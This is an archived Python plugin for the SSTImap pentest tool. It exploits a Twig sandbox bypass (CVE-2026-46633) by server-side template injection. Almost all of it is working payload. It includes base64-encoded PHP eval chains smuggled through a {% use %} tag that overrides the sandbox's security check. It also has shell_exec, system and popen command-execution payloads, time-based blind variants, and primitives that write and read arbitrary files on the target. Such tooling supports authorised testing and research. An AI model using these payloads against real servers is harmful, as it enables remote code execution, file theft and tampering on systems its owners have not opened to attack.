vladko312/extras: CVE-2026-46633_legacy.py

vladko312/extras: CVE-2026-46633_legacy.py - Vladislav Korchagin, Emilio, GitHub.

- Published: date not stated
- Original: <https://github.com/vladko312/extras/blob/main/CVE-2026-46633_legacy.py>
- Preserved from: https://github.com/vladko312/extras/blob/main/CVE-2026-46633_legacy.py (github-api) on 2026-10-21
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

> **Repository reading copy.** Created from CVE-2026-46633_legacy.py.

CVE-2026-46633_legacy.py

`vladko312/extras` at `main`, path `CVE-2026-46633_legacy.py`.

```
import base64
from plugins.languages import php
from utils import rand


# Same as CVE_2026_46633, but one extra ) in context escape
class CVE_2026_46633_legacy(php.Php):
    extra_plugin = True
    legacy_plugin = True
    priority = 6
    header_type = 'add'
    formatter = "sstimap"
    sstimap_version = '1.3.2'
    plugin_info = {
        "Description": """Sandbox bypass in Twig >=1.15.1 <2.5.0""",
        "Usage notes": """Exploits CVE-2026-46633, bypassing sandbox in Twig using {% use "'..." with a as b %} code injection
Rendered and Boolean Error-Based Blind payloads only work for Twig of versions >=2.4.5 <2.5.0
This plugin also works for Twig of versions >=1.15.1 <2.5.0 without sandbox, partially covered by Twig and Twig_v1 plugins
Rendered and Boolean Error-Based Blind payloads require `ArrayLoader` to be used on the backend and `block` tags allowed by global sandbox""",
        "Authors": [
            "Vladislav Korchagin @vladko312 https://github.com/vladko312",  # Payload for CVE-2026-46633
            "Emilio @epinna https://github.com/epinna",  # Original Tplmap payload for older versions of Twig
        ],
        "References": [
            "CVE-2026-46633: https://nvd.nist.gov/vuln/detail/CVE-2026-46633",
            "Writeup: https://gist.github.com/vladko312/d61b950f168c791db4786b83dc7a81e6",
        ],
        "Engine": [
            "Homepage: https://twig.symfony.com/",
            "Github: https://github.com/twigphp/Twig",
        ],
    }

    def init(self):
        self.update_actions({
            # {% use "sstimap1'));}eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGd
```

```
ldF9kZWZpbmVkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}use A;function checkSecurity()
{}function getSourceContext(){return
eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvb
XBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdG
ltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTskZS0+Z2V0TG9hZGVyKCktPnNldFRlbXBsYXRlKCRtWzBdLCd7JWJsb2N
rIGElfScuZXZhbCgncmV0dXJuICcuYmFzZTY0X2RlY29kZShzZWxmOjpwKS4nOycpLid7JWVuZGJsb2NrJX0nKTty
ZXR1cm4gbmV3IFR3aWdcU291cmNlKCIiLCRuLCIiKTs='));}const p='BASE64_PAYLOAD';}trait
A{function a()
{eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));if(0)
{//sstimap2"with a as b%}{{block('b')}}
            # Payloads in Base64 in __construct(), getSourceContext() and our injected
a():
            # global $sstimap;$sstimap=array_diff_key(get_defined_vars(),$GLOBALS);$this-
>a();
            # $n=$this->getTemplateName();$e=$this->env;$s=$e->compileSource($e-
>getLoader()->getSourceContext($n));preg_match('/sstimap1.*sstimap2/',$s,$m);$e-
>getLoader()->setTemplate($m[0],'{%block a%}'.eval('return
'.base64_decode(self::p).';').'{%endblock%}');return new Twig\Source("",$n,"");
            # global $sstimap;extract($sstimap);
            'render': {
                'render': 'SSTIMAP:code;',
                'header': """{{SSTIMAP:header:get,0;+SSTIMAP:header:get,1;}}"""
                          """{%use"sstimap1'));}"""

"""eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbm
VkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}"""
                          """use A;function checkSecurity(){}"""
                          """function getSourceContext(){return eval(base64_decode('"""

"""JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJG
UtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWF
wMi8nLCRzLCRtKTskZS0+Z2V0TG9hZGVyKCktPnNldFRlbXBsYXRlKCRtWzBdLCd7JWJsb2NrIGElfScuZXZhbCgn
cmV0dXJuICcuYmFzZTY0X2RlY29kZShzZWxmOjpwKS4nOycpLid7JWVuZGJsb2NrJX0nKTtyZXR1cm4gbmV3IFR3a
WdcU291cmNlKCIiLCRuLCIiKTs="""
                          """'));}const p='""",
                'trailer': """';}trait A{function a(){"""

"""eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw==='));"""
                           """if(0){//sstimap2"with a as b%}"""
                           """{{block('b')}}"""
                           """{{SSTIMAP:trailer:get,0;+SSTIMAP:trailer:get,1;}}""",
                'test_render':
base64.b64encode(f"'{rand.randints[0]}'+'{rand.randints[1]}'".encode()).decode(),
                'test_render_expected': f'{rand.randints[0]+rand.randints[1]}'
```

```
            },
            # {%use"'));}}use A;}system('id');trait A{function a(){if(1){//"with c as b%}
            'render_error': {
                'render': 'SSTIMAP:code;',
                # Use error_reporting and ini_set to enable error messages
                'header': '{%use"\'));}}use A;}'
                          'error_reporting(1);'
                          'ini_set(\'display_errors\', 1);'
                          'join(\'\',
[strval(SSTIMAP:header:get,0;+SSTIMAP:header:get,1;),rtrim(strval(',
                'trailer': ')),strval(SSTIMAP:trailer:get,0;+SSTIMAP:trailer:get,1;)])
();'
                           'trait A{function a(){if(0){//"with a as b%}',
                # Anything printing to template or page will work
                'test_render': f"'{rand.randints[0]}'+'{rand.randints[1]}'",
                'test_render_expected': f'{rand.randints[0] + rand.randints[1]}'
            },
            # Some symbols like $ are not allowed here
            'evaluate_error': {
                'call': 'render',
                'evaluate': "eval('return
('.base64_decode(str_pad(strtr('SSTIMAP:code:b64u;','-
_','+/'),SSTIMAP:code:b64u:len;%4,'=',STR_PAD_RIGHT)).');')",
                'test_os': "PHP_OS",
            },
            # Payload based on simplified rendered payload
            # Payload in Base64 in getSourceContext():
            # $n=$this->getTemplateName();$e=$this->env;$s=$e->compileSource($e-
>getLoader()->getSourceContext($n));preg_match('/sstimap1.*sstimap2/',$s,$m);$e-
>getLoader()->setTemplate($m[0],'{%block a%}{%endblock%}');1%(true&&eval('return
'.base64_decode(self::p).';'));return new Twig\Source("",$n,"");
            'evaluate_boolean': {
                'call': 'inject',
                'evaluate_blind': """{%use"sstimap1'));}"""

"""eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbm
VkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}"""
                                    """use A;function checkSecurity(){}"""
                                    """function getSourceContext(){return
eval(base64_decode('"""

"""JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJG
UtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWF
wMi8nLCRzLCRtKTskZS0+Z2V0TG9hZGVyKCktPnNldFRlbXBsYXRlKCRtWzBdLCd7JWJsb2NrIGElfXslZW5kYmxv
```

```
Y2slfScpOzElKHRydWUmJmV2YWwoJ3JldHVybiAnLmJhc2U2NF9kZWNvZGUoc2VsZjo6cCkuJzsnKSk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7"""
                                """'));}const p='SSTIMAP:code:b64;';}"""
                                """trait A{function a(){"""

"""eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));"""
                                """if(0){//sstimap2"with a as b%}""",
            },
            # Payload based on simplified error-based payload
            'evaluate_blind': {
                'call': 'inject',
                'evaluate_blind': "{%use\"'));}}use A;}"

"eval('('.base64_decode(str_pad(strtr('SSTIMAP:code:b64u;','-_','+/'),SSTIMAP:code:b64u:len;%4,'=',STR_PAD_RIGHT)).')&&sleep(SSTIMAP:delay;);');"
                                "trait A{function a(){if(0){//\"with a as b%}"
            },
            'execute_error': {
                'call': 'render',
                'execute':
"""shell_exec(base64_decode(str_pad(strtr('SSTIMAP:code:b64u;','-_','+/'),SSTIMAP:code:b64u:len;%4,'=',STR_PAD_RIGHT)))""",
            },
            # Payload based on simplified rendered payload
            # Payload in Base64 in getSourceContext():
            # $n=$this->getTemplateName();$e=$this->env;$s=$e->compileSource($e->getLoader()->getSourceContext($n));preg_match('/sstimap1.*sstimap2/',$s,$m);$e->getLoader()->setTemplate($m[0],'{%block a%}{%endblock%}');1%(pclose(popen(base64_decode(self::p),"wb"))==0);return new Twig\Source("",$n,"");
            'execute_boolean': {
                'call': 'inject',
                'execute_blind': """{%use"sstimap1'));}"""

"""eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbmVkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}"""
                                """use A;function checkSecurity(){}"""
                                """function getSourceContext(){return eval(base64_decode('"""

"""JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTskZS0+Z2V0TG9hZGVyKCktPnNldFRlbXBsYXRlKCRtWzBdLCd7JWJsb2NrIGElfXslZW5kYmxvY2slfScpOzFlKHBjbG9zZShwb3BlbihiYXNlNjRfZGVjb2RlKHNlbGY6OnApLCJ3YiIpKT09MCk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7"""
```

```
                                """));}const p='SSTIMAP:code:b64;';}"""
                                """trait A{function a(){"""

"""eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));"""
                                """if(0){//sstimap2"with a as b%}""",
            },'execute_blind': {
                'call': 'inject',
                'execute_blind': "{%use\"'));}}use A;}"

"system(base64_decode(str_pad(strtr('SSTIMAP:code:b64u;','-
_','+/'),SSTIMAP:code:b64u:len;%4,'=',STR_PAD_RIGHT)).'&&sleep SSTIMAP:delay;');"
                                "trait A{function a(){if(0){//\"with a as b%}"
            },
            # Using execute as rendered and error-based payloads can use different
workdirs
            'write': {
                'call': 'execute',
                'write': "bash -c '{tr,_-,/+}<<<SSTIMAP:chunk:b64u;|{base64,-
d}>>SSTIMAP:path;'",
                'truncate': "echo -n >SSTIMAP:path;"
            },
            'read': {
                'call': 'evaluate',
                'read': """base64_encode(file_get_contents("SSTIMAP:path;"))"""
            },
            'md5': {
                'call': 'evaluate',
                'md5': """md5_file("SSTIMAP:path;")"""
            },
            'md5_blind': {
                'call': 'evaluate_blind',
                'md5_blind': """is_file("SSTIMAP:path;") && (md5_file("SSTIMAP:path;") ==
"SSTIMAP:md5;")""",
                'exists_blind': """is_file("SSTIMAP:path;")"""
            },
        })

        self.set_contexts([
            # Text context, no closures
            {'level': 0},
            {'level': 1, 'prefix': 'SSTIMAP:closure;}}', 'suffix': '{{1', 'closures':
php.ctx_closures},
            {'level': 1, 'prefix': 'SSTIMAP:closure;%}', 'suffix': '', 'closures':
php.ctx_closures},
```

```
            # Current payloads require escaping all constructs
            {'level': 2, 'prefix': '{%endfor%}', 'suffix': '{%for a in [1]%}'},
            {'level': 2, 'prefix': '{%endif%}', 'suffix': '{%if 0%}'},
            {'level': 3, 'prefix': 'SSTIMAP:closure;}}{%endfor%}', 'suffix': '{%for a in
[1]%}',
             'closures': php.ctx_closures},
            {'level': 3, 'prefix': 'SSTIMAP:closure;}}{%endif%}', 'suffix': '{%if 0%}',
             'closures': php.ctx_closures},
            {'level': 3, 'prefix': 'SSTIMAP:closure;%}{%endfor%}', 'suffix': '{%for a in
[1]%}',
             'closures': php.ctx_closures},
            {'level': 3, 'prefix': 'SSTIMAP:closure;%}{%endif%}', 'suffix': '{%if 0%}',
             'closures': php.ctx_closures},
            # Escaping comment
            {'level': 5, 'prefix': '#}', 'suffix': '{#'},
            # This escapes string "inter#{"asd"}polation"
            {'level': 5, 'prefix': 'SSTIMAP:closure;}', 'suffix': '', 'closures':
php.ctx_closures},
            # This escapes string {% set %s = 1 %}
            {'level': 5, 'prefix': 'SSTIMAP:closure;=1%}', 'suffix': '', 'closures':
php.ctx_closures},
        ])
```

Archived from https://github.com/vladko312/extras/blob/main/CVE-2026-46633_legacy.py. Rendered offline from the local Markdown copy.